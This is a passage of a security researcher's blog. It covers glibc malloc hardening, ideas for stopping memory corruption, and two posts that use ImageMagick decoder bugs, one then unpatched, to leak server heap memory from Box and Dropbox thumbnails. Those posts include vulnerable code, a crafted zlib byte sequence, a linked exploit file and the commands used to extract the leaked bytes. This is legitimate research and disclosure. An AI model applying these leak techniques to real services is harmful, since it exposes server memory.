As part of warming up to write the exploit, I created a few sample test C files which explored different interesting glibc <span style="font-family: Courier New, Courier, monospace;">malloc()</span> side effects after an off-by-one NUL byte write. <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=96#c1">You can find them here</a>. The exploit abused a situation similar to <a href="https://bugs.chromium.org/p/project-zero/issues/attachment?aid=226199">consolidate_forward.c,</a> but did not thoroughly need to defeat ASLR because the target platform was 32-bit.<br />
<br />
I also noted a curiosity for future research in <a href="https://bugs.chromium.org/p/project-zero/issues/attachment?aid=226803">shrink_free_hole_alloc_overlap_consolidate_backward.c</a>: there's a possible sequence triggered by a NUL byte overwrite whereby ASLR can be cleanly defeated to leave aliased heap chunks. The C file is commented if you want to see how the sequence works.<br />
<br />
Interestingly enough, this technique turned up in a December 2016 <a href="https://googleprojectzero.blogspot.com/2016/12/chrome-os-exploit-one-byte-overflow-and.html">Project Zero guest post</a> describing a Chrome OS exploit chain. In a fantastic piece of work, attributed anonymously, a single byte overflow of the value \x01 is used to fully defeat ASLR and eventually achieve code execution in a 64-bit x86_64 process.<br />
<br />
I've been thinking about ways to kill this technique for a while now: it's far too powerful if it can reliably defeat ASLR in a 64-bit process. I also worry that many of the super serious Linux daemon bugs remaining are likely to be of the subtle type, i.e. one byte overflows.<br />
<br />
<b>Inline vs. out-of-line metadata</b><br />
<br />
It's time for a brief foray into memory allocator design.<br />
<br />
<ul>
<li><b>glibc malloc</b>. glibc malloc is based on dlmalloc, which has an inline metadata design. Specifically, every buffer handed out to the program is preceded by a little piece of metadata indicating the size of the chunk and whether the previous chunk is free or not.</li>
<li><b>tcmalloc</b>. tcmalloc is an allocator that has a largely out-of-line metadata design, on account of being a bucketing allocator for smaller sizes and a page based allocator for larger sizes. However, the internal metadata for this allocator is mixed in with pages handed out as buffers to the calling program. This was <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=104752">hardened a while ago by Justin Schuh for the Google Chrome web browser</a>; not sure it made it upstream.</li>
<li><b>PartitionAlloc</b>. PartitionAlloc, part of the Google Chrome web browser. It has an out-of-line metadata design such that heap metadata is partitioned or guard paged off from the calling program's buffers. The notable exception, shared with tcmalloc, is freelist pointers, which occupy the freed slots. In PartitionAlloc, freelist pointers are transformed so that dereferencing them faults, and partial pointer overwrites are thwarted.</li>
</ul>
<br />
While writing PartitionAlloc, strictly protected heap metadata was a goal. After all, if the metadata is naturally guarded with guard pages then there's less need for code defenses which are trying to detect and stop bad side effects from metadata corruption. Simplicity wins.<br />
<br />
However, there's an interesting interaction with single byte overflows that provides pause for thought and philosophizing.<br />
<br />
With an out-of-line metadata design, a single byte overflow off the end of a chunk will hit the first byte of some other chunk. Depending on the different object types that could be in the adjacent chunk, that's potentially a lot of possibilities for the attacker to explore.<br />
<br />
With an inline metadata design, a single byte overflow off the end of a chunk will hit some metadata. Depending on the level of metadata corruption checks present, the single byte overflow could be dead in the water as an attacker primitive. However, on the flipside, there's also the possibility for more generic attacks against the metadata, such as the one we are patching up here.<br />
<br />
<b>Hardening against the glibc malloc() ASLR defeat</b><br />
<br />
This is one of those cases where a relatively simple patch pops out, but only after some careful thought and analysis.<br />
<br />
In this case, the key observation is that there are two linkages between heap chunks in glibc <span style="font-family: Courier New, Courier, monospace;">malloc()</span>:<br />
<br />
<ul>
<li><b>Freelist pointers</b>. These are doubly linked and the double linkage is already validated. Since pointer values are a "secret" before ASLR is defeated, the attacker cannot fake pointer values before they have defeated ASLR.</li>
<li><b>Lengths</b>. There is also length linkage. For a free chunk, the length is present at both the beginning and the end of the chunk, to enable chunk traversal. Unfortunately, an attacker can craft a fake length easily and problems arise specifically when these lengths are modified to point to valid metadata structures, but not the "correct" metadata structure. Previously there was no length linkage validation.</li>
</ul>
<div>
The solution used was to also validate length linkage when unlinking chunks. It was checked in a while ago, here: <a href="https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30">https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30</a></div>
<div>
<br /></div>
<div>
Now, if the attacker has an off-by-one corruption with a small value (NUL or \x01 - \x07) that hits the lowest significant byte of a length (<span style="font-family: Courier New, Courier, monospace;">malloc_chunk->size</span>), the attacker can only use that to cause the length to effectively shrink. This is because all heap chunks are at least 8 bytes under the covers. Shrinking a chunk's length means it will never match the <span style="font-family: Courier New, Courier, monospace;">prev_size</span> stored at the end of that chunk. Even if the attacker deploys their one byte overflow multiple times, this new check should always catch them.</div>
<div>
<br /></div>
<div>
If an attacker has an arbitrary linear overwrite, they could corrupt both <span style="font-family: Courier New, Courier, monospace;">size</span> and <span style="font-family: Courier New, Courier, monospace;">prev_size</span> to match, but with that powerful primitive, there would likely be other more fruitful ways forward.</div>
<div>
<br /></div>
<div>
<b>Conclusion</b></div>
<div>
<br /></div>
<div>
Did we finally nail off-by-one NUL byte overwrites in the glibc heap? Only time will tell!</div>
<div>
<br /></div>
Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com2tag:blogger.com,1999:blog-3024470480937744884.post-61582550552078533962017-05-15T23:39:00.002-07:002017-05-15T23:39:33.349-07:00Are we doing memory corruption mitigations wrong?<b>Introduction</b><br />
<br />
Before we get into it, let's start by stating that the progression of memory corruption mitigations over the years has been intensely valuable. The progression of mitigations continues to make exploiting bugs harder and more time consuming. The pool of people who have both the skill and commitment to exploit any given bug (either reliably or at all) is shrinking.<br />
<br />
The list of mitigations to credit is long, but includes:<br />
<br />
<ul>
<li>Non-executable virtual memory regions.</li>
<li>ASLR (address space layout randomization).</li>
<li>Stack canaries.</li>
<li>Stack variable re-ordering.</li>
<li>Heap metadata hardening.</li>
<li>Heap partitioning.</li>
<li>Control flow integrity (Microsoft CFG, Clang CFI).</li>
<li>etc.</li>
</ul>
<div>
The items in the above list have this in common: <b>they target the side effects of memory corruption, as opposed to the memory corruption itself</b>. Some of the side effects targeted are close to the time of the memory corruption, such as a stack canary being checked when a function that caused the corruption returns. Other side effects targeted are potentially very far from the time of the memory corruption, such as control flow integrity on a virtual call, after the attacker has read and written memory arbitrarily.</div>
<div>
<br /></div>
<div>
When targeting side effects of a problem, as opposed to the problem itself, it's often hard to prevent the problem.</div>
<div>
<br /></div>
<div>
I started working on this problem but unfortunately have to put it aside due to other commitments at this time. This blog post documents my thoughts and notes for anyone interested in this problem space.</div>
<div>
<br /></div>
<div>
<b>An alternative?</b></div>
<div>
<br /></div>
<div>
Should we invest more time in technologies that attempt to stop memory corruption in the first place? I think we should. It's certainly an under researched area.</div>
<div>
<br /></div>
<div>
Let's first clarify that we're talking about defenses for existing C and C++ programs. There are plenty of essays advocating the replacement of C programs with those written in something safer, such as Go. This is a good longer term suggestion but in the shorter term, there's a whole boatload of C legacy that no-one is rushing to move away from.</div>
<div>
<br /></div>
<div>
<b>Performance</b></div>
<div>
<br /></div>
<div>
The main challenge immediately raised when talking about blocking memory corruption at the source is performance. For sure, this is going to be challenging, but here are the tools and situations that may help us:</div>
<div>
<ul>
<li>Modern compiler frameworks. A modern compiler framework such as LLVM allows security enhancement transforms to be applied before the optimization passes, so the compiler can lift security checks out of loops, etc.</li>
<li>64-bit processors. Newer processors tend to offer more registers and also "spare" bits in pointer values, both of which may lessen the performance impact of schemes previously tried on 32-bit.</li>
<li>New processor instructions. As yet unexplored, but do processor extensions such as <a href="https://en.wikipedia.org/wiki/Intel_MPX">Intel MPX</a> offer any paths to thorough yet high performance coverage?</li>
<li>Rollback of mitigations. With a C runtime that does not permit buffer bounds to be exceeded, <b>certain mitigations become redundant and can be rolled back</b>. For example, if pointers are bounds checked, there's no urgent need for stack canary checking (which cost a percent or two), because it becomes hard to get the return address corrupted. Likewise for heap metadata hardening and possibly CFI (which also cost a percent or two).</li>
<li>Faster heap implementation. Some of the ideas below rely on fast mapping of pointers to heap chunk metadata, such as is done in <span style="font-family: Courier New, Courier, monospace;">partitionAlloc()</span> in Chrome. It just so happens that partitionAlloc is faster than almost anything else (including tcmalloc and certainly glibc malloc), so some performance could be clawed back here.</li>
</ul>
</div>
<div>
<b>Stricter C / C++ semantics</b></div>
<div>
<br /></div>
<div>
In the quest for safer compiled C / C++, we might consider placing stricter requirements on the program. For example, while it's already undefined behavior to create certain out-of-bounds pointers, we could compile to a stricter variant of this.</div>
<div>
<br /></div>
<div>
Or, if we decide to dabble in reference counting, it could be mandatory to NULL out all pointer references to a chunk before calling <span style="font-family: Courier New, Courier, monospace;">free()</span>. </div>
<div>
<br /></div>
<div>
Reserving the top unused bits of 64-bit pointers might also be useful.</div>
<div>
<br /></div>
<div>
<b>Scheme #1: Safe <span style="font-family: Courier New, Courier, monospace;">memcpy()</span> with fast pointer lineage checking</b></div>
<div>
<br /></div>
<div>
This first scheme illustrates how there are some low hanging fruits with a moderate impact and trivial performance overhead. Imagine if <span style="font-family: Courier New, Courier, monospace;">memcpy()</span> overflow from one heap chunk to another would be a thing of the past? It fairly trivially can.</div>
<div>
<br /></div>
<div>
Imagine a runtime system where the heap implementation is <span style="font-family: Courier New, Courier, monospace;">partitionAlloc()</span>. This heap implementation can take an arbitrary pointer that is part way into an allocation chunk, and reliably and quickly return the chunk size, and the chunk pointer base. So you can have a <span style="font-family: Courier New, Courier, monospace;">memcpy()</span> that does this (pseudocode):</div>
<div>
<br /></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">void* memcpy(void* dst, const void* src, size_t len) {</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> char* dst_base;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> char* dst_extent;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> size_t dst_size;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> partitionAllocGetPtrDetails(&dst_base, &dst_size, dst);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> dst_extent = dst_base + dst_size;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> if (len > dst_extent - dst) {</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> TAKE_A_DUMP();</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> /* Add a similar check for src, why not. */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">...</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">}</span></div>
<div>
<br /></div>
<div>
Pretty neat huh? However, there are a lot of challenges and polish to apply before this could be 100% awesome:</div>
<div>
<ul>
<li><span style="font-family: Courier New, Courier, monospace;">partitionAlloc()</span> currently couldn't provide a working <span style="font-family: Courier New, Courier, monospace;">partitionAllocGetPtrDetails()</span> for arbitrary middle-of-chunk pointers inside allocations greater than about 1MB or so. This would need to be fixed, which might require a rejig of where metadata is stored, to be more ASAN-like.</li>
<li>You'd need to stop the compiler thinking it knows all about <span style="font-family: Courier New, Courier, monospace;">memcpy()</span> and inlining <span style="font-family: Courier New, Courier, monospace;">memcpy()</span> for small fixed size values.</li>
<li>This scheme will crash horribly if a stack, BSS or other non-heap pointer value is passed to <span style="font-family: Courier New, Courier, monospace;">memcpy()</span>. A generic method of mapping arbitrary pointers to memory metadata needs to be extended to all pointers -- or the checks need to only fire for heap locations.</li>
<li>This scheme won't protect for intra-chunk overflows, e.g. if the <span style="font-family: Courier New, Courier, monospace;">memcpy()</span> destination is a buffer within a heap allocated struct, and the struct contains sensitive data after the buffer. Perhaps a candidate here for compiler struct re-ordering?</li>
</ul>
</div>
<div>
But back to awesomeness, note that <span style="font-family: Courier New, Courier, monospace;">memcpy()</span> is just a simple loop that iterates memory so you can imagine adding compiler support to decorate more complicated loops with high performance bounds checks.</div>
<div>
<br /></div>
<div>
<b>Scheme #2: Pointer invalidation with pointer arithmetic checking</b></div>
<div>
<br /></div>
<div>
We can make the observation that a lot of existing memory checker tools perform checks on every pointer dereference (e.g. ASAN). However, the time when a pointer goes from "good" to "bad" is often when pointer arithmetic is applied to a pointer, such as bumping a pointer along at the end of a loop. </div>
<div>
<br /></div>
<div>
Given that pointer arithmetic is a little less common that pointer dereference, would it be higher performance to instead do checks when a pointer is incremented to see if it crosses a chunk boundary? As a bonus, this would provide stronger guarantees than the ASAN model because in the ASAN world, e.g. <span style="font-family: Courier New, Courier, monospace;">*(ptr + 70)</span> might not fault if that jumps over a redzone.</div>
<div>
<br /></div>
<div>
<b>Scheme #3: Use-after-free detection with pointer cookies</b></div>
<div>
<br /></div>
<div>
Somewhat specific to 64-bit, but let's take x86-64 and presume that we reserve the upper 16 bits of every pointer value to stamp in a cookie. Then:</div>
<div>
<ul>
<li>At <span style="font-family: Courier New, Courier, monospace;">malloc()</span> time, a random 16 bit cookie is assigned to the heap chunk and stored as metadata associated with the chunk.</li>
<li>The returned pointer has the cookie value as the upper 16 bits.</li>
<li>Copying a pointer around, or doing pointer arithmetic, proceeds at full speed and preserves the upper 16 bits.</li>
<li>Dereferencing a pointer requires masking off the upper 16 bits and comparing them to the cookie value associated with the referenced heap chunk.</li>
<li>As an optimization, the cookie value only needs to be re-checked if <span style="font-family: Courier New, Courier, monospace;">free()</span> has been called, or a function is called that might call <span style="font-family: Courier New, Courier, monospace;">free()</span>. So tight loops proceed with only the one check up front.</li>
<li>When a heap chunk is freed, the cookie value is cleared. The cookie values for existing pointers into the chunk will not match while the chunk is free, and also will not match if the chunk is reallocated.</li>
</ul>
</div>
<div>
<b>Scheme #n: Your scheme here</b></div>
<div>
<b><br /></b></div>
<div>
I'm sure there are cleverer people than me out there who can propose better schemes. My point is that we need to try, because there are a ton of little tricks we can pull in this space to make some defenses that are both meaningful and fast.</div>
<div>
<b><br /></b></div>
<div>
<b>Conclusion</b></div>
<div>
<br /></div>
<div>
I really think we can stop memory corruption at the source for some vulnerability classes. There's going to be a performance hit but we can claw some of it back by retiring existing mitigations as they become less relevant.</div>
<div>
<br /></div>
<div>
And is there any reason not to burn a couple years of Moore's law to kill off some memory corruption classes, instead of repeatedly trying to patch up their symptoms?</div>
<div>
<br /></div>
Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com4tag:blogger.com,1999:blog-3024470480937744884.post-69242282141937548892017-05-11T11:59:00.000-07:002017-05-11T11:59:44.064-07:00[0day] Proving Box.com fixed ASLR via ImageMagick uninitialized zlib stream buffer<b>Overview</b><br />
<br />
In my previous post, <a href="https://scarybeastsecurity.blogspot.com/2017/05/proving-missing-aslr-on-dropboxcom-and.html">we explored using an ImageMagick 0day</a> (now a 1day) in the RLE decoder to <todo: link=""> to determine missing ASLR in both <a href="http://box.com/">box.com</a> and <a href="http://dropbox.com/">dropbox.com</a>. In response, both Box and DropBox sensibly limited the available decoders. Both dropped RLE support and lots more.</todo:><br />
<br />
As you may recall from a <a href="https://scarybeastsecurity.blogspot.com/2017/03/black-box-discovery-of-memory.html">different but related post</a>, I had challenges working with Box to accurately determine the status of security reports I submitted. In fact, I have neither a confirmation nor denial of the missing ASLR issue on ImageMagick. I've already proven the missing ASLR to my satisfaction in the previous posts -- but is it fixed?<br />
<br />
This is a fairly ridiculous length to go to, but: let's prove that Box did fix the ASLR issue, by using another ImageMagick 0day!<br />
<br />
<b>Visualization</b><br />
<br />
Here's a zoomed in sample image from box.com, in response to thumbnailing a greyscale 8x16 variant of an image file that we'll explore below. We're seeing raw memory bytes from a free chunk:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSV3AnWHTw8GYvrRvM8YP95rbotTcLoUyw8Se1uVaMTGpIEHppVPTnor22sYLpmZ81uElxLEDd1wjKiJk2rXi09r2yXk8J1pCb3R0VezcEnsfcmvpgXDKoNGpJQS_aTpQQsoLGhkdTYbUs/s1600/box_zip_uninit_128_zoomed.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSV3AnWHTw8GYvrRvM8YP95rbotTcLoUyw8Se1uVaMTGpIEHppVPTnor22sYLpmZ81uElxLEDd1wjKiJk2rXi09r2yXk8J1pCb3R0VezcEnsfcmvpgXDKoNGpJQS_aTpQQsoLGhkdTYbUs/s1600/box_zip_uninit_128_zoomed.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<b>The vulnerability</b><br />
<br />
So when Box went on an ImageMagick decoder removal spree, they obviously had to leave intact the decoders for a few popular formats: JPEG, PNG, etc. One less common decoders left intact was PSD: Adobe Photoshop. This is an understandable product decision. But it's also more attack surface for us to examine. The 0day vulnerability is in the PSD decoder (<span style="font-family: "courier new" , "courier" , monospace;">coders/psd.c</span>):<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">ReadPSDChannelZip()</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">[...]</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> compact_pixels=(unsigned char *) AcquireQuantumMemory(compact_size,</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> sizeof(*compact_pixels));</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">[...]</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> ResetMagickMemory(&stream,0,sizeof(stream));</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> stream.data_type=Z_BINARY;</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> (void) ReadBlob(image,compact_size,compact_pixels);</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"> stream.next_in=(Bytef *)compact_pixels;</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> stream.avail_in=(uInt) compact_size;</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> stream.next_out=(Bytef *)pixels;</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> stream.avail_out=(uInt) count;</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"> if (inflateInit(&stream) == Z_OK)</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> {</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> int</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> ret;</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"> while (stream.avail_out > 0)</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> {</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> ret=inflate(&stream,Z_SYNC_FLUSH);</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> if ((ret != Z_OK) && (ret != Z_STREAM_END))</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> {</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">[...]</span><br />
<br />
The above code snippet is reading in a PSD image color channel from the input file, where it is compressed using ZIP compression. The <span style="font-family: "courier new" , "courier" , monospace;">compact_size</span> variable comes nearly directly from the input file, and it represents the size in bytes of the compressed zip stream. This size is used to allocate a <span style="font-family: "courier new" , "courier" , monospace;">malloc()</span>'ed buffer to hold the compressed data, and the buffer is filled with a read from the input stream. The vulnerability is that there is <b>no return value checking for the <span style="font-family: "courier new" , "courier" , monospace;">ReadBlob()</span> call</b>. This means that if the input file hits an end-of-file condition during the read, the <span style="font-family: "courier new" , "courier" , monospace;">compact_pixels</span> buffer will remain partially or even fully uninitialized.<br />
<br />
You can refer to this vulnerability as CESA-2017-0003. It really is an 0day: unreported or unfixed upstream, let alone in Linux distributions or on cloud providers.<br />
<b><br /></b>
<b>The exploit</b><br />
<br />
The previous ImageMagick bugs I've been exploiting have been relatively simple to exploit because raw bytes of memory end up directly in the decoded canvas. With this vulnerability, however, the raw bytes of memory are in a buffer which is to be decoded as a zlib stream. Obviously, many possible sequences of bytes will not be valid zlib streams. And sequences of bytes that are valid zlib streams will likely result in output that is hard (or impossible) to reverse back to the original raw memory bytes. Finally, note that zlib streams are checksummed, and quasi-random bytes in memory are unlikely to have a correct trailing checksum.<br />
<br />
Fortunately, a little trick does present us a neat solution. It's useful to have a basic understanding of the <a href="https://tools.ietf.org/html/rfc1950">zlib format, RFC1950</a> and the contained <a href="https://tools.ietf.org/html/rfc1951">deflate stream format, RFC1951</a>. The core of the trick is noting the the deflate stream format is composed blocks, with the block types being:<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">BTYPE specifies how the data are compressed, as follows:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"> 00 - no compression</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> 01 - compressed with fixed Huffman codes</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> 10 - compressed with dynamic Huffman codes</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> 11 - reserved (error)</span><br />
<br />
We really don't want to get into reversing the output of Huffman decoding, but "no compression" sounds very intriguing. What if we used a preamble of a zlib header followed by an uncompressed deflate block -- leading in to the bytes of uninitialized memory? We can achieve this by abruptly ending our PSD input file with the this 7 byte sequence:<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">78 9c: standard zlib header and options</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">01 : deflate block type 1: no compression</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">ff ff: length 65535</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">00 00: length "checksum", which is the negation of the length</span><br />
<br />
Let's say we have an input file which claims a compressed length of 16. The 16 byte compressed data buffer is allocated but filling it results in a short read of 7 bytes (which goes unnoticed and unchecked) with the remaining 9 bytes remaining uninitialized:<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">compact_pixels: | 78 9c 01 ff ff 00 00 <span style="background-color: red;">?? ?? ?? ?? ?? ?? ?? ?? ??</span> |</span><br />
<br />
Treating this as the first 16 bytes of a zlib stream will decode to whatever is in those 9 bytes of uninitialized memory, as highlighted in red. We're back to exfiltrating raw bytes again, which is a win. (Note that the start of the output is at byte 7 into the heap chunk, which is not nicely 8 bytes aligned. This explains why the pointers in the dump below appear to be offset by 1 byte.)<br />
<br />
There's one more quirk, though. This still isn't a valid zlib stream because it is truncated, both in terms of missing data and a missing final checksum. How will the ImageMagick PSD decoder handle this? The answer lies in looking at the exit condition for the zlib deflate loop. We see that it only cares that the output buffer was filled. <b>It specifically does not care if the zlib API never declares that the decode ended</b>. So again taking the hypothetical 16 byte compressed data buffer, the PSD code will stuff 16 bytes as input into the zlib input buffer. Let's further assume that the output channel is a 2x2 canvas, requiring 4 bytes to fill. This buffer and length is also passed to zlib as the ouput buffer and length. When zlib is called for the first time, it will have 9 bytes of actual output available, but emit only 4 of them because that's the size of the output buffer. <b>And that's it</b>. The PSD code will exit the the zlib decode loop and continue. (In case you are curious, a more typical zlib loop would consume the full zlib output buffer, then call into zlib again with a new output buffer to fill. It would also perhaps similarly check to see if the input buffer was fully drained.)<br />
<br />
Here's the sample PSD exploit file: <a href="https://security.appspot.com/security/psd/zip_uninit_read_128.psd">zip_uninit_read_128.psd</a>.<br />
<todo: link=""><br /></todo:>
<todo: link="">I won't break this one down byte by byte because it's 133 bytes of file format glue to get to the ZIP attack surface.</todo:><br />
<br />
<b>Results</b><br />
<br />
Let's upload the PSD file to Box and then view the preview pane for the uploaded file and save the displayed PNG file. It results in an image like the one above. Extracting raw bytes is just a matter of an ImageMagick conversion command, although the Ubuntu 16.04 LTS ImageMagick appears to be buggy for certain greyscale images, so we'll use GraphicsMagick:<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">gm convert box_zip_uninit_128.png out.gray</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">od -t x1 out.gray</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">0000000 00 <span style="background-color: lime;">f8 81 bd 7b 18 7f 00 00</span> 70 00 00 00 00 00 00</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0000020 00 71 00 00 00 00 00 00 00 <span style="background-color: lime;">00 d1 d0 7d 18 7f 00 </span></span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0000040<span style="background-color: lime;"> 00</span> <span style="background-color: lime;">78 81 bd 7b 18 7f 00 00</span> <span style="background-color: lime;">80 94 d0 7d 18 7f 00 </span></span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0000060<span style="background-color: lime;"> 00</span> <span style="background-color: lime;">d0 ce d0 7d 18 7f 00 00</span> 20 00 00 00 00 00 00</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0000100 00 50 00 00 00 00 00 00 00 <span style="background-color: lime;">80 d1 d0 7d 18 7f 00 </span></span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0000120<span style="background-color: lime;"> 00</span> 31 00 00 00 00 00 00 00 <span style="background-color: lime;">78 81 bd 7b 18 7f 00 </span></span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0000140<span style="background-color: lime;"> 00</span> <span style="background-color: lime;">80 cf d0 7d 18 7f 00 00</span> <span style="background-color: lime;">30 58 d1 7d 18 7f 00 </span></span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0000160<span style="background-color: lime;"> 00</span> <span style="background-color: lime;">78 81 bd 7b 18 7f 00 00</span> 90 00 00 00 00 00 00</span><br />
<div>
<br /></div>
<div>
In the above hex dump, all of the pointers are highlighted in green. All ten pointers are wholesome pointers indicating good ASLR, hence the green color. You can contrast this with some pointers in my previous post which clearly indicated that Box did not have ASLR on their binary.</div>
<br />
Proving a result with a negative (the lack of a clearly dubious pointer) is not particularly scientific, but I'll note that I tried a variety of different upload image sizes in order to explore the content of recently freed heap chunks of a variety of different sizes. I also tried the upload of some files multiple different times and never saw a pointer indicating a lack of binary ASLR. When binary ASLR was indeed absent, the same tests readily indicated the fact.<br />
<br />
<b>Conclusion</b><br />
<br />
The overall weight of evidence, split across two blog posts, suggests that Box did not previously have binary ASLR enabled, and they did indeed make a change and fix the issue after my report. We used an ImageMagick 0day (now 1day) to prove that ASLR was missing, and then a different ImageMagick 0day (still 0day today :) to prove that ASLR is now present. The loop is now satisfactorily closed.<br />
<br />Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com0tag:blogger.com,1999:blog-3024470480937744884.post-58134596088026470902017-05-10T20:47:00.000-07:002017-05-10T20:47:20.591-07:00Proving missing ASLR on dropbox.com and box.com over the web for a $343 bounty :D<b>Overview</b><br />
<br />
Cloud file storage providers such as Box and DropBox will typically thumbnail uploaded images for purposes of showing icons and previews. Predictably, both providers appear to use ImageMagick for thumbnailing. So what happens if we come knocking with the ImageMagick 1-day CESA-2017-0002?<br />
<br />
CESA-2017-0002 is a vulnerability in the RLE image decoder, where the allocated render canvas memory is not initialized under some conditions. This leads to the server generated thumbnail and preview being based on uninitialized memory. The pixels of the resulting preview can be used to reconstruct chunks of server memory.<br />
<br />
The vulnerability itself is not particularly complicated, and will be fully described in a future post that describes a scenario where it has more bite.<br />
<br />
<b>Sandboxing and isolation</b><br />
<br />
This vulnerability has interesting interactions with sandboxes and process boundaries. While sandboxes can do wonders to mitigate vulnerabilities such as remote code execution and filesystem leaks, they do little for bugs that leak memory content, such as this one.<br />
<br />
On the other hand, good use of process boundaries can help against bugs that leak memory content. In a one-process-per-thumbnail model, the virtual address space of the process is only going to contain the attacker's data, and likely not the private data of anyone else.<br />
<br />
In the case of Box and DropBox, I've not seen any indications of leaking anyone else's private data. It's likely that they are both using a one-process-per-thumbnail model. Certainly, one "easy" way to integrate ImageMagick would be to use the <span style="font-family: "courier new" , "courier" , monospace;">convert</span> binary to run individual image transform jobs. This would give a one-process-per-thumbnail model.<br />
<br />
<b>Trying to get a bounty</b><br />
<br />
Let's face it, getting a bug bounty is kind of cool. Given that we don't think we can leak someone else's data, might there be anything else in the address space that we could leak that is worthy of a bounty? Unfortunately, most bounty programs exclude minor leaks such as precise versioning information or configuration details.<br />
<br />
But one idea does occur to us: since we're leaking the content of free'd memory chunks, we're very likely to see pointer values for things like <span style="font-family: "courier new" , "courier" , monospace;">malloc()</span> freelist entries. The specific values of these pointers will tell us what level of ASLR exists in the process. If the level of ASLR is anything other than "full ASLR", would that be worth a bounty? Maybe. Let's proceed to try and leak some pointer values.<br />
<br />
<b>Exfiltrating bytes of memory</b><br />
<br />
To exfiltrate bytes of memory, we will upload a color RLE file of 16x8 dimensions and download the resulting PNG file from the file preview panel. For both Box and DropBox, the preview has the following useful traits:<br />
<ul>
<li>Produces a PNG download. PNG is a lossless format, so the PNG pixel values should correspond exactly with raw memory bytes.</li>
<li>Leaves image dimensions alone for smaller image sizes. This is useful because any downscaling would result in information loss.</li>
</ul>
<div>
We choose a 16x8 file based on trial and error. The size of the input file determines what <span style="font-family: "courier new" , "courier" , monospace;">malloc()</span> size is used for the canvas that is not initialized properly:</div>
<br />
<span style="font-family: "courier new" , "courier" , monospace;"> pixel_info_length=image->columns*image->rows*</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> MagickMax(number_planes_filled,4);</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);</span><br />
<div>
<br /></div>
<div>
Different sizes here will result in the leak of different portions of the heap. 16x8 leads to a 512 byte allocation. Based purely upon testing rather than theory, this appears to be good size that reliably leaks pointer values. But if we make the size too large, perhaps in the greedy hope of leaking tons of data, we'll end up with our allocation getting placed at the end of the heap. Obviously, there won't be any previous content in a brand new allocation at the end of the heap, and we'd leak a bunch of 0 bytes, which is not particularly impressive.</div>
<div>
<br /></div>
<div>
